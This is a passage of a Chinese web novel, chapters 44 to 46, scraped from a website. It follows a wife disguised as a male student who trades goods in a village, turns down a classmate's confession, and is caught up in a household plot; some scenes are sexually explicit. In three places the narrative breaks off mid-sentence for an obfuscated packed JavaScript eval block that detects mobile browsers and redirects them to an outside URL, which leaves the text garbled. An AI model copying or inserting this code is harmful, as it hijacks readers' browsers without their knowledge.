玉秀的羞耻和难堪随着衣衫一件件褪尽，迎合着他的心意动作，呻吟，魅惑。 她承受不住再三求饶时，秦勉终于停下动作，挑开粘黏她的湿发，露出布满情.欲和泪痕的面颊，肆意欣赏。 “你那正经的主子回来了。”埋在她身体里的不曾出来，说出的话却不带一丝情绪，紧紧盯着她的反应。 迷离的眸子骤然清醒，不可置信看向他。 秦勉：“你竟不知？” 玉秀身下的异样强烈，此刻脑子混沌一片，根本给不出反应。 * 冬日暖阳比醇酒醉人，季灵儿独自漫步到后园。 秦府每座院落皆四四方方，花园里却引溪流绕亭台，山石嶙峋，草木幽深，据说是秦老太爷年轻时去江南经商，深感其园林移步换景之妙处，便请匠人依样打造，连园中假山都是从太湖采来堆叠而成，每一块皆有孔窍，能于风雨里听到低吟浅唱。 季灵儿没去过真江南，驻足假山前仔细听了半晌风声，没觉得有什么特别，转寻一处阳光斑驳的石头坐下，眯眼望着檐角割开的一线晴空。 阳光暖得她肌肤微醺，每个毛孔都被照得舒展开来，她索性仰面靠向身后的青石，任阳光漫过全身，在眼前织就朦胧的薄纱。 幽幽暗香在暖风里游走，被她敏锐捕捉。 舒适的环境令她心下旷然，生出懒洋洋的困意，阖眸小憩，意识似云絮漂浮，直到眼皮上的光晕被阴影覆盖。 睫毛轻颤，未及睁眼，低沉嗓音已随风拂过耳际：“原来在这里晒太阳。” 秦劭身披阳光立于她身前，扫来的目光都是暖的。 阳光重新漫上眉梢，耳边响起衣袍窸窣声，是他紧挨着自己坐下了。 “很舒服。”季灵儿侧目看向他，“这时候你不是该午憩吗？” “带了糖水，但没等到你回来。” 季灵儿这才看到他手里提着一个竹筒，是她最爱的那家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16468784|184104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 眉眼完成月牙状：“夫君真好。” 秦劭笑意漫进眼底，将竹筒盖子打开递到嘴边，喂了她满口甜。 ... 往常秦劭除非有要紧事抽不开身，午憩是必然的，今日陪她在院中晒了整个晌午的太阳，竟比酣然睡一觉惬意许多。 忽叹岁月静好，大抵如此。 快到时辰，季灵儿收拾了往叠翠园去，秦劭却道：“近日不必去了，好生歇两日。” 她以为他为那时怕自己累着，羞道：“我才没那么娇气。” 秦劭难免想到昨夜，促狭笑意在唇边漾开，“没有吗？” “......”季灵儿意会，粉颊原就被日光熏染得微红，此刻更如火烧，抬手掐他手臂，嗔视不语。 “身上已快没有好地方了，”秦劭宠溺低笑，旋即认真道：“是过两日学堂有旁的安排。” 季灵儿狐疑追问，他只是摇头：“不便透露。” 两日后季灵儿回学堂，终于明白秦劭口中“旁的安排”是何意。 “学堂里教的算经，货殖，权衡之术，学烂了不过是纸上谈兵，只有扔到实处，才知道怎么生根，今日便送你们去一处历练，只许带两件换洗衣物，不许携带仆从和多余财物。” 秦劭肃立堂前，说罢不许质疑，点到名者依次登车，让各自的仆从收拾行囊。 季灵儿和众师兄就这般措不及防被扔到一处破落村庄。 随行有几位商行管事，负责监督考核，秦劭和其他代课师傅没有跟来。 村子极小，土墙斑驳，泥路坎坷，统共不过二三十户，一眼就能望到头。 几个面黄肌瘦，衣衫褴褛的孩子缩在门口看他们。 “你们可宿在此处，也可自寻农家借宿。”管事指着几间空置的土屋道。 屋顶和墙面多处裂缝和墙皮剥落，土炕上结着蛛网，开门便有霉味扑面，师兄们皱眉后退，简直不敢相信。 “这等荒村破屋，连桌椅都没有一张，叫人如何下榻？” 管事：“他们住的，我们住的，你们有何住不得？” 季灵儿倒不嫌弃，只是与师兄们住一间实在不便，目光瞄到尽头有间窗几残破的小房子，道：“那间又小又破，想是师兄们看不上眼，我便独自住了。” 去年住叠翠园她便不喜与人同住，众人此刻根本顾不得她什么心思，左右的确没人愿意住过去，由她独占那间残屋。 住处简陋便算了，管事们还狠心收走他们所有私藏，每人仅发一串铜钱作为生活之资，让他们凭能力谋生，不仅谋生，还要想办法赚银两。 一串钱，这群少爷随手打赏小厮都嫌下脸面，如今却要凭此过活，怨声几乎要掀翻破旧的屋顶，恨不能直接折回家中。 自然，他们更耻于当逃兵，只好安慰自己车到山前必有路。 季灵儿却如鱼得水，简单收拾过屋子，出门拾柴填灶膛生火取暖，一路上热情地同村民们招呼寒暄，很快将村中情况打听大概。 村里多年前遭逢时疫，十室九空，幸存者不多，田地荒芜大半。 她用铜钱向一户人家换了些糙米和腌萝卜，勉强够一日饭食。 以钱换物乃最基本的法子，她能想到师兄们亦能，但那硬得能硌掉牙的粗面饼，多数人根本咽不下，脸色比菜色都难看。 可惜饿到最后，咬牙也得咽肚子里。 三日后，季灵儿和云衡拎着个布口袋回来，里面尽是细白的盐和粮食。 44. 谋算 众人惊疑不定，不知她从何处换来这等紧俏物事。 季灵儿大大方方道：“我收了村上发霉豆子，淘洗磨净后熬出浆水，点卤压成豆腐，拿去镇上换的。” 说罢转身找块相对平整的木板，用烧黑的木柴在上面划拉了几下，然后立在门口。 大伙凑上前看，上面四个歪斜的炭黑大字：抵押换粮。 底下还有一行小字：童叟无欺，过期不候。 季灵儿丢了木柴，拍掉掌心炭灰，待围过来询问的人多了，声音清亮道：“按市面价售粮，无银钱可以值钱物件抵押，再写字据为凭，五日内不计利息，五日后赎取利三分。” 人群顿时骚动起来。 “小师弟，你这是趁火打劫！” “同门之谊，何至于此？先赊些粮食予我们，日后返回山门，必双倍奉还。” ...... “师兄们此言差矣，诸位有需求我提供所需，以货易粟乃常理，”季灵儿义正言辞反驳，“何况豆子是我亲手淘洗熬浆，豆腐也是我亲手压的，又天不亮挑着担走十几里路去换，每一粒都沾着汗水呢，师兄们坐享其成，付些利钱不应当吗？” 质疑者被驳的脸上有些挂不住，余下诸人面面相觑，他们被没收体己，剩在身上的值钱物件大都是传家之物，乃身份和体面，用来换米粮岂非成了当铺里的破落子弟么？ 自是万万不能的。 梁宸被坑过一次，不吃她这一套，冷哼道：“堂堂七尺男儿，哪能被这点生计难倒，你能换来粮食，我们也能凭本事寻出路。” 当即有旁人附和，撂下话转身离开。 “买卖皆系自愿，师兄们可考虑清楚再决定。”季灵儿不勉强，不紧不慢掰了块饼放嘴里慢慢嚼。 林起倒不排斥她所为，以解决眼下温饱为紧要，率先摘下腰间玉佩递上前换粮，再三嘱咐她好生保管，莫要遗失。 “谢林师兄捧场。”季灵儿笑嘻嘻接过，仔细系上绳结，交由云衡登记收录。 有林起打头，后面便顺了，一件件往日象征着身份的物件，流水般送到季灵儿跟前，换回勉强果腹的食物。 草纸充当的账簿上很快落满云衡端正工整的字迹，每一笔计算得清楚。 众人得愿散去，季灵儿校验账目时，发现最后一道记的竟是云衡自己的名字，后缀抵押物是翡翠雕如意纹的平安扣一枚。 记得他说过，此物很重要。 指尖顿在上面，满眼疑惑地望向云衡。 云衡目光一直在她身上，对视时故作淡然开口：“不坏你的规矩让别人说闲话。” 季灵儿不解：“有何闲话可说？这两日忙碌有你一份力，不必同他们一般做抵押。” “那是我私心帮你，不用混为一谈，”云衡摇头，顿了顿续道：“不过我另有条件——此物你必须单独保管。” 季灵儿实在不理解他的顽固：“何必如此麻烦。” “一定好生收着，直到我赎回才可取下来。”云衡说着将脖颈间的平安扣取下，伸手欲为她系上。 两人从前亦有接触，唯独这一次，他气息逼近时烫了季灵儿脸颊，心中泛出说不清道不明的别扭，下意识撤步避开他的动作。 云衡的手悬滞在半空，望过来的目光蓄满失落。 季灵儿心虚错开眼，伸手接过平安扣，喃喃解释：“你我同为男子，如此亲密实在奇怪，我自己来就好。” 云衡垂下手，星眸里灼着期待：“我瞧着你戴。” 玉扣上残留的温度渗进手心，季灵儿再看他，隐隐觉出不对劲在何处，犹疑再三未照他说的做：“咱们如今每日忙碌，带身上恐磕碰遗失，你放心，我会单独将它收好的。” 云衡凝视她片刻，涩然别开眼，“随你罢。” ... 梁宸等人学她去外面捣鼓，帮人耕田换粮，可不会使犁铧，笨手笨脚非但没帮上忙，把人家地给翻坏了，庄稼毁了一片，被老农挥着锄头赶了出来。 尝试编席换米，手指被竹篾磨得血泡连片，编出的席子歪斜漏缝，根本不抵用。 走投无路，竟病急乱投医地问村民需不需要代笔作画，对方闻言哄笑，一位老叟捻须打趣：“老汉田头草棚尚缺个遮雨顶，你若能画片云来挡挡日头，便管你饱饭。” 问话的师兄面红耳赤，拂袖而去。 屡屡碰壁，一天下来收获寥寥，饿得狠了，只得厚着脸皮回到季灵儿门前，隔窗看见她炉上炖着热粥，锅盖一掀，白气腾起，从未觉得白粥如此清香扑鼻。 梁宸肚子咕噜噜乱叫，却攥紧拳头迈不出一步，其余几人劝他不动，空瘪的肚子更不等人，对视后默契上前叩门。 不多时，各自抱着粮食出来。 梁宸脸色变幻数次，终是走上前。 门尚开着，季灵儿从灶前抬眼，笑道：“这次还拿金蟾换吗？” 梁宸自不敢再拿命根子玩笑，另取一枚玉佩递上，语气生硬：“这个。” 林起一派非庸碌之辈，仅拿昨日抵押换粮当应急，不会长久坐吃山空，换了粮便各自想法子挣钱换新粮。 然且不说手艺活计需经年累月打磨，他们锦绣堆里出来的难逃生疏笨拙，村里生计有限，各家人哪肯轻易将活计分与外人，每日仨瓜俩枣的收入难抵大用。 必得寻找一门稳当营生。 想定主意，开始观察村子情况，发现各家都囤有山货和腊肉笋干等物，除日常自用外，大多为了等年节运到市集换银钱。 往繁茂村镇路程远，土路崎岖，村里妇孺居多，壮丁少且还要外出扛活或下田，唯有赶年节市集人多方不白奔波一趟。 林起当即提议由他们承担运输，将零散山货收拢统一带往镇上售卖，从中赚取佣金。 村民却道：“与你们一道来的两位清秀公子早已将此事承揽下。” 说着拿出一份字据出来，语气里尚有新鲜劲儿：“那小公子不仅讲话一套一套，还给我们立了字据让我们画押哩。” 林起接过字据细看，末尾落款写着季凌的大名。 笑着对同行人道：“小师弟到底机灵，先于我们抢占了机会。” * 每三日会有管事将弟子们的表现汇到秦劭跟前。 说到季灵儿垄断代销山货一事，旁听的姚怀义直呼有趣，“你家义子真是不给旁人留活路，这点不像你。” “她不会如此。”秦劭眉梢藏着浅淡的笑，否的十分笃定。 “你说话的语气越来越像在人前护短的老父亲了，别是真拿他当亲儿子了？”姚怀义哂笑。 秦劭冷眸扫他一眼，“有这闲功夫多操心些辽南商路的生意，鲁商日前在登州备下三艘沙船，怕是要抢春汛的市口，莫要掉以轻心。” 一说到心坎处便转移话题，姚怀义心领神会，面上收了玩笑神色，道：“明白，我已准备好亲去的事宜了，明日就动身。” 二人铺开图纸，就辽南商贸布局细作商议。 正事谈完，姚怀义又咧嘴笑起来：“我还是很好奇，你这样按章程走的人，为何突然送这群小的去历练？” 秦劭眼皮也不抬，沉静道：“历练原就是课程中的一项，自古做生意哪个没睡过冷炕吃过冷灶——” 他道理刚打头被姚怀义截断：“少装傻，我问的是为何突然送去。” 秦劭依旧不改神色：“觉得时机合适提前了而已，算不得突然。” 季灵儿被“发配”后没两日，玉秀收到宋家传信，让她不惊动人回府中商议要事，遂借口家中有事告假回曹县。 至宋家，玉秀终于确认秦勉没有诓自己，真正的宋芮宁果然回来了，只身子骨不如往日，正秘密在府中静养。 毕竟多年主仆，玉秀一见她便跪在榻前流泪哽咽，“小姐定是受了不少苦。” 宋芮宁抬手轻抚玉秀发鬓，嗓音虚弱温和：“我无碍，倒是你，跟着那丫头可有受委屈？” 被自家小姐惦记的玉秀受宠若惊，但眼看主子受苦不敢多张扬，磕头道：“奴婢日日惦记您，万幸您回来了。” “是啊......”宋芮宁语焉不详地应了一声，闭目缓了片刻， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16483579|184104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忽问：“那位秦大爷待人如何？” 玉秀没多想，如实夸了秦劭几句。 “竟如此吗？倒是与传闻的暴戾苛责不同，是我看错眼了。”宋芮宁唇边浮起一缕极淡的自嘲。 玉秀凭着多年服侍的了解，揣出些没说出口的盘算，忙补充道：“秦家大爷的确待人严正，是个极讲规矩的，对犯错的底下人从不姑息。” 宋芮宁对此话生出旁的理解，忖道：“倘使他知晓自己受人蒙骗，必不会轻易放过吧？” 玉秀不敢断定她的意思，眸色复杂望过去：“小姐？” 宋芮宁弯唇笑起来，“玉秀，你自小跟着我，十几年里我待你如何？” “小姐待奴婢比亲人还好。”玉秀顺着话道，心中已预感不祥。 宋芮宁没绕弯子，颇为诚恳道：“我一时糊涂走岔了路，如今想拨乱反正需你助一臂之力，你可愿意？” 玉秀浑身一震，“小姐要奴婢做什么？” ... 玉秀从宋家出来天已擦黑，赶不及回吉安，打算先回自己家中宿一夜。 刚到窄巷口，迎面遇见十一岁的妹妹喜娣提着篮子出门，见到她激动扑上来，顺手把篮子往身后藏。 喜娣本就瘦弱，哪里藏得住，篮子有一半露在身侧，玉秀一眼认出是母亲惯常送头油用的，追问：“做什么去？” 喜娣支吾着不肯说。 玉秀见状明白七八分，瞬间红了眼，薄怒道：“你还在替母亲往怡香院送头油？” “母亲快到临盆不便行动，家中不能少了进项。”喜娣小声解释。 “跟我回去，”玉秀一把抢过篮子，拉着她折回家中。 母亲周氏正倚在床头给未出生的孩子缝制小衣，见玉秀怒气冲冲进来，还为开口先听对方一通数落。 “娘，过年回来我同你和爹说过，我会给你们挣银子，你好好养胎即可，为何还要让妹妹去那腌臜地方！” 周氏倏然变了脸色，“你如今翅膀硬了，进门一张口训起老子娘来了？” 玉秀方才的确着急，闻言软下语气：“我不是那意思，实在是那地方鱼龙混杂，我怕妹妹受欺负。” “我给院里姑娘送头油十几年，不也好好地？”周氏冷笑道，“再说米粮柴炭日日在涨，调胎的药日日吃，哪个不是烧钱的？还要给你未出生的弟弟绸缪，你给那些银子早不够用了。” 爹娘一心想要儿子，为此专门请了精通此道的郎中调理，所需费用甚巨，玉秀心中酸楚，也知多言无益，默默取出袖中积攒的两枚银锭子放在桌上，“不够您可以跟我说，我想办法。” 周氏只瞥一眼，冷道：“你想破天能得几个子儿？真为你妹妹着想就争气些，在秦家争个姨娘当，届时全家跟你享福，说不定喜儿也能沾光寻个好人家嫁了，自不必往你说的腌臜地方去。” 玉秀并非头一次听爹娘说这话，从前不太放心上，如今却觉心口酸胀疼痛，垂眸哑声道：“您简直痴人说梦！” “你娘我这些年往怡香院不是白去的，年节时来寻你的那位三少爷，一看便对你有意，你若肯周旋一二，何愁前程无望？” 玉秀几乎不敢相信自己的耳朵，声音跟着身子抖：“您是要女儿拿身子去换富贵？” 周氏将针线狠狠摔在炕桌上，瞪她：“我这是教你往富贵里寻前程，又不是把你往妓.院卖。” 玉秀不同她掰扯，态度坚决道：“我以后每月会想法子多送钱回来，无论如何不准再让妹妹去送！” 次日临走前，玉秀又叮嘱喜娣：“不准再去怡香院，若爹娘态度强硬，你托人去寻我。” 喜娣乖巧点头，指着自己脑袋道：“这话阿姐昨晚说了许多遍，我记得牢牢的。” 回曹县一遭，玉秀心里添了千斤重的负担，心神不宁从角门进秦府，低着头往大房院子回，闻听有人急切唤她。 抬眼看过去，一名蹲在墙根的小厮正起身朝她过来，是秦勉院里的阿庆。 阿庆跺了跺酸麻的脚，猫见四下无人，低声道：“我们爷让你回来去一趟。” 45. 坦诚 门扉紧闭的屋内，秦勉端坐圈椅，边享受边欣赏怀中脂玉。 “回去见过宋芮宁了？” 玉秀承着他的索取，唇瓣抿紧，鼻音挤出一声“嗯”。 秦勉：“说什么？” 她不答，他便寻准要害蓄力撞上去，将人反复磋磨于欢愉和痛苦之间，不上不下地悬着，逼她主动迎自己。 偏在她将要得逞的瞬间拉开距离，又问：“她同你说什么？” 玉秀眸光氤氲如雾，樱口翕张断续吐出几个字：“小姐想拨乱反正。” “她想做回秦家大少夫人？”秦勉嗤笑，此事在意料中，真切听闻心中仍会有不悦翻涌，掐着纤腰的手掌收紧，坐在腿上的人猝然下沉。 叫声与他的追问混在一处。 “她要如何做？” 玉秀再无力斟酌，呜咽道出所有：“小姐要奴婢指认季姑娘是骗子，冒充身份，还联合旁人以小姐的性命威胁宋家。” 愚蠢又拙劣的伎俩。 秦勉眼神冷下来，停了动作靠进椅背。 “真是她说的？” 他眼中的宋芮宁，是个知书达理的闺秀。 “是。” “你答应了？” “爷，奴婢没得选。”玉秀垂下肩膀低咽，模样委屈极了，避开他的注视将情况一一交代，“小姐还向奴婢打听了老夫人的动向。” * 秦宋两家涌动的暗流季灵儿半点不知情，迎着暖阳在破屋子门前挑拣品相好的柿饼包进油纸。 有脚步声踏着干裂的土地由远及近，带着刻意压制的急促。 “小师弟。” 季灵儿抬头，看见逆光而立的高大身影，脸上绽出恰到好处的惊讶。 “林师兄找我有事吗？”她顺手捏起一个橙红柿饼递上，“曹阿奶家晒的，甜得很，给你尝一个。” 林起接过拿在手中，垂眼打量眼前这个总是让人出乎意料的小师弟，单刀直入道：“你和村里人都签了代销山货的契约？” “不错。”季灵儿仰头笑得坦荡，“穷乡僻壤赚钱的门路不多，山货代销是其中最稳妥的一条，而且让好东西都烂在村里，或者被过往行商低价收走委实可惜。” 林起自然清楚这些，亦了解她的为人，直问：“小师弟握着契约，可是有条件？” “师兄先坐，”季灵儿没直接回答，扯过一个小板凳放他跟前，又从身后提出另外几个竹箩筐，里面分门别类放着各种山货，“我这几日走遍村子收的样品，村民说过往行商的人给价这个数，” 她伸出手指比出一个数字，“师兄看看能卖多少银钱。” 林起逐样翻看，道：“品相皆上乘，若是运到百里外的府城，价格至少翻五倍，即便运到几十里外的县城，也能翻两三倍，但——” 季灵儿接着他的话口说：“但问题就在这运出去三个字上，我一个人纵有通天本事也做不成，眼下师兄既然找来，我愿意让出三成份额与师兄共做。” 林起捕捉到季灵儿话中的意图，“说说你的计划。” 要成事需养尊处优的师兄们分工合作，其中不乏出力吃苦的活计，季灵儿自知凭她无法服众，唯有借林起威望凝聚众人。 遂直视着林起的眼睛，同他说了想法。 此想法与林起不谋而合，他不理解的是：“你为何不直接找我谈，非要先签契约？” “先生要考验咱们各自的经商才能，我哪能不抓准机会表现一下？再说了，争了先机才能掌握主动权，分利的时候自然分得多些，师兄知道的，我这人贪名又贪财。”季灵儿丝毫不掩饰自己的私心，映着日光更显她面上笑容灿烂。 林起一愣，跟着笑起来：“好你个小机灵，原来早等着我来找你。” ... 三天后，油布裹着的山货整齐码在板车上，一支由弟子们组成的商队踩着晨露踏出村道，林起作为统筹全局总领队。 到镇上市集后，大伙三三两两背着货分散售卖，能说会道的主动揽下叫卖的差事，嘴皮子利落的专攻茶楼酒肆，手脚麻利的则穿梭于集市摊档之间。 季灵儿亲自盯市价，灵活调价揽客，又用薄利多销换回头客，林起则调度人力，确保各环节有条不紊进行。 梁宸等人上次不信邪吃了教训，这次不敢脱离群众，乖乖听安排行事。 因先头说好按劳分配收入，多劳多得，人人干劲十足，收益竟超出预期两成。 尝了两日甜头，季灵儿本打算将此发形成惯例做下去，怎料第三日开始，陆续有弟子耐不住苦打起退堂鼓，抱怨利润分成的银两根本不值得他们起早贪黑辛苦跋涉，累的浑身酸疼不说，脚上磨出好几个大水泡。 不过是个考核，没必要拿命拼。 祸不单行，季灵儿偏在最困难的时候来了月事，回程时腹中绞痛不止，远远落在队伍后。 云衡察觉异样折返寻来，见她面色惨白，躬身紧紧捂着肚子，关切道：“可是身子不适？” 季灵儿：“肚子不舒服。” 云衡半蹲在她身前：“上来吧，我背你。” “不必了。”季灵儿推拒。 云衡：“眼下非逞强的时候，拖久了大家都要围过来关心你了。” 几近虚脱的身体实在难以支撑，季灵儿亦怕被人察出蹊跷，这时候多一事不如少一事，遂伏上他肩头，“多谢。” 有师兄从前头投来问候，云衡只道：“季凌不慎扭到脚了。” 云衡脚步稳当，季灵儿趴了不一会便疼得昏睡过去。 再醒来已在冷炕上，薄被裹着被汗浸透的身子，她侧身蜷着，目光所及是云衡低头吹火的侧影，灶膛里的火苗跳跃着映在棱角分明的侧脸上，一下一下，往她心尖颤。 调整姿势的动作惊了云衡，他转头过来，目光温和：“醒了，可还疼得厉害？” 季灵儿未答，目光悄悄挪向灶上升腾的热气。 云衡起身摸了摸灶台上的碗沿，端来递她：“趁热喝，驱寒。” 姜汤气味辛辣，她隔着距离便闻出，不喜地皱了眉。 云衡看穿她的心思，补充道：“我专门讨了红糖煮进去，是甜的。” 她迟疑着接过碗，抿一小口，果然有甜味压制，暖意自喉咙滑落腹中，嗓子里才后知后觉泛出辛辣滋味。 “没骗你吧，”云衡得意挑眉，邀功似的说：“红糖在这村里是稀罕物，我连敲好几家门，最后到一户有月子里的妇人家中才得来一块。” 云衡剑眉星目，笑起来眼中有耀人的光芒闪烁，自有一番少年郎的轻狂，无数次吸引季灵儿的目光停驻。 这一次，她没敢望进去，半张脸埋进碗沿，小口啜饮姜汤，月事期的她格外敏感，从前未曾深思的问题跟着辛辣的后味一件件翻涌上来。 他清楚记得她的喜恶，事事替她周全，日复一日在她周围逗趣......再到近段时日带她冰嬉，亲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16492794|184104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手刻木雕，还欲借故为她系玉扣。 跳出来看这桩桩件件，季灵儿惊觉，他待她，早超出了同门情分。 上元节“倘若是女子”的假设，兴许并非戏言。 心念至此，季灵儿方寸大乱，如春日温度攀升，暖意漫过心田教人禁不住沉醉，夹杂万物苏醒的悸动，同时又裹着冰河解放前的凛冽，而她恰站在冰面上。 稍一惊动，冰层便会碎裂，将她吞没。 直到碗中姜汤见底，她还未从那复杂情绪中挣脱，相反，心底的迷雾正渐渐散开。 真有人会如此贴心给同门师弟熬姜汤还加红糖么？ “季凌？”云衡轻声唤她回神。 季灵儿抬眼，勇敢迎上他眸中绚烂：“你是不是知道了？” 问的直接，云衡一时没反应过来。 她捏紧瓷碗，抿着舌尖的甜味又问一遍：“你知道我是女子了，对吗？” 跃然于他眼中的光彩倏然凝滞，被惊慌取代，他躲开对视，半晌才低声应是。 “何时知道的？” “有次你同梁宸说话，我偶然听见了。”说出来的一瞬，云衡忽觉浑身轻松。 “你知道为何不早拆穿我？”分明是她隐瞒在前，偏偏生出几分被戏弄的感觉。 云衡道：“你不想人知，我便装作不知。” “我今日不问，你要一直瞒下去吗？” “上元节我打算告诉你的，没来得及。” 不止上元节，他一直在寻机会开口，可每次话到嘴边，又瞻前顾后不敢言，怕戳破后会彻底失了她。 破旧的窗缝漏进一缕晚风，吹不开两人之间骤然凝滞的空气。 季灵儿回想当日种种，皆有迹可循，心中亦十分清楚，他想说的，绝非戳破她身份这一件。 喉结动了动，咽下千言万语才挤出一句：“云衡，我很抱歉。” 云衡几乎不必反应便明白她为何谈抱歉，忽低笑出声，可那笑比哭还涩，“该说抱歉的是我，是我瞒着心事，装作寻常朋友与你亲近。” 他顿了顿，不甘心地抬眸看回她，“可是季凌，我待你之心敢昭日月，不掺杂半分虚假，你一定要回的如此决绝吗？你再考虑几日，考校我一段时日也成。” 他的热烈终是融碎了冰河，裂缝一路噼啪蔓延到底，不留任何余地。 “没有必要的云衡。”季灵儿摇头，回的干脆利落，“我无法以同等心意回应你，定要早早说清楚，省得彼此困囿，你也不必在我身上浪费功夫。” 是，她说过这样的话。 云衡记得清楚，却没想到她真能如此狠心斩断一切可能，喉间梗着碎冰碴子，冰冷刺痛，发不出声。 季灵儿话说的绝，到底不忍心多看他眼底裂开的荒芜，便垂眸盯着空碗边缘一处细小的缺口，小声道：“多谢你的照顾，我不白承你的恩情，虽不能全还......但会尽力回报你的。” “计较如此清楚，你要同我陌路吗？”云衡苦笑，疼痛碾到心田，张口都觉喉头滞涩。 季灵儿并非此意，一时又不知该如何解释，说轻了怕引他误会，说重了又怕伤他太深，无论如何，他是自己极珍视的朋友。 恰此时，传来极轻的叩门声。 云衡没有起身开门的打算，季灵儿只好清了清嗓子，扬声问：“谁？” “是我。” 清冽低沉的嗓音穿透木板传进来，屋内两人不约而同愣住。 46. 拦路 “您怎么来了？” 季灵儿不知秦劭在外是否听见两人对话，听见多少，问话的声音比蝉翼还虚。 云衡为他开门后未直接离开，安静立在一旁，他眼睁睁看着秦劭径直到炕沿坐下，那方寸之地瞬间因他的存在而变得逼仄。 炕上的人自然往里挪的动作更像在为他让出位置。 秦劭目光掠过云衡时似有若无地停顿一瞬，才落在季灵儿脸上。 “我不该来？”他反问，语调平直，听不出喜怒，却令屋内空气再度陷入僵冷。 季灵儿心虚垂眸，不敢与他对视，更不敢看站着的人，似是要将补丁的被面再看出一个洞来 云衡半隐在袖下的手阒然收紧，强撑着不动声色，他极少如此僭越地直视师父，此刻却试图从他深邃的眉眼中窥探真实情绪，可惜，只看到一片波澜不惊的寒潭，深不见底。 秦劭迎着他这份难得的大胆，唇角极浅地掀起一抹笑，缓缓开口：“我来考察你们的历练成果，方才在林起处听说季凌崴了脚，便过来看看。” 语气沉着，理由充分，将忽至的探访粉饰得天衣无缝。 云衡心口泛起的酸涩与不安却疯狂叫嚣，绝非如此寻常。他几乎能清晰感知对方平静之下的暗涌。 然而身份如天堑，他说不得什么，死死压下翻涌的情绪，敛眸掩去所有不该有的波澜。 秦劭目光如网，罩着云衡任何细微变化，亦将他的心事勘察分明。 知晓太多，为难的反倒是自己，饶是他再沉得住气，也藏不住周身喷薄的威压。 “你一直守着季凌？” 云衡垂首应是。 “同门之间互相关照，这样很好。”秦劭颔首赞许几句，语调听不出半分暖意，旋即他话锋陡转：“眼下天色不早，该歇息了。” 他嘴上如此说，身姿端坐如钟，后半句显然是针对云衡一人的提醒。 云衡胸腔起伏，终是躬身告辞。 门扉轻轻合上，隔开一道落寞背影。 季灵儿瞧着，无端增加一重负罪感，堵在心口让人厌烦，回神发现秦劭盯着自己看，目光紧似盯偷腥的猫。 她又没偷人！ 憋闷更甚，一股无名火蹿起，索性把心一横，先发制人，将那点负罪感尽数诬到他身上去：“我觉得你在仗着身份欺负人。” 秦劭明显一怔，旋即浮出兴味，状似严谨追问：“你指哪句？” 季灵儿翻来覆去品咂他方才的话，单摘出来未有不妥，拧着秀眉，憋了半晌才道：“态度，是你的态度。” 秦劭不以为然：“我对弟子一向这个态度。” “......”季灵儿想想的确如此，一时找不到反驳。 大抵是错综的情感令她品出了别样的意味，且算自己心思不净，才看什么都觉得暧昧难言罢。 秦劭见好就收，转而向她确认：“真崴脚了？” 季灵儿摇头：“是信期到了。” 空碗还在她手里捧着，秦劭拿过搁到灶台上，看见台面上未用尽的生姜和红糖，方才平静下去的心海重新翻起波澜。 “云衡也知道？” 季灵儿不太确定地答：“他......应当猜到了。” 秦劭随手往灶里丢一块玉米芯，火星噼啪跃起，砸在熏黑的灶膛壁上，盖过他眼中一闪而过的波动。 语气一如既往平淡：“那便是知晓你是女子了。” “你方才在外面没听见吗？”季灵儿前几天睡觉尚能听见外头响动，想来房子隔音差，故意试探他。 “听见了。”秦劭坦然道，黑眸隔着并不宽绰的半间屋子锁着她。 季灵儿：“那你定然听见我拒绝他了。” 秦劭不语，挪步到跟前，仍用暗沉沉的眸子凝着她。 他听见的时候固然欣喜，然而一看见云衡深情款款的眼神，设想他守在她身旁的情形，那点欣喜便被更汹涌的酸意取代。 她拒绝了，也大方承认了，秦劭深知自己没理由再为此事发作，不仅没得释然，反倒打翻五味瓶一般不是滋味。 “所以，”季灵儿深吸一口气，字句清晰地说道，“你不必句句试探，我没有红杏出墙的打算。” 秦劭对她这句回答很意外，眼中重新燃起亮光，他身形未动，紧绷的下颌线条柔和了半分。 “你我既行了夫妻之实，”季灵儿句斟字酌，缓慢认真地将每个音敲在彼此心上，“我自是认的，不会做对感情不负责之事。” 一双澄澈眼眸因认真格外清亮，映着他的影子。 秦劭漂浮的情绪被这番话托住，得了着落，随后褪去外衫，作势解带就寝。 季灵儿慌了：“你睡这里明早被师兄们撞见怎么办？” “你我正经夫妻，无须避讳。”秦劭脱得余下里衣挪身上来，体温和质问一齐贴近：“不想承认我们的关系？” “太突然了......而且影响不好。”季灵儿解释。 秦劭不置可否，语气却软下来：“我不习惯同旁人住，夜深露重，娘子难道要我去睡马车里？” 刻意放柔的声音掺杂蜜意，缠着她耳廓缱绻滑落，不免令人回想起温存时候的呢喃。 这炕本就窄小，他高大身躯躺下来，季灵儿连往里缩的余地都没有，翻身背对他撂下一句：“随你”。 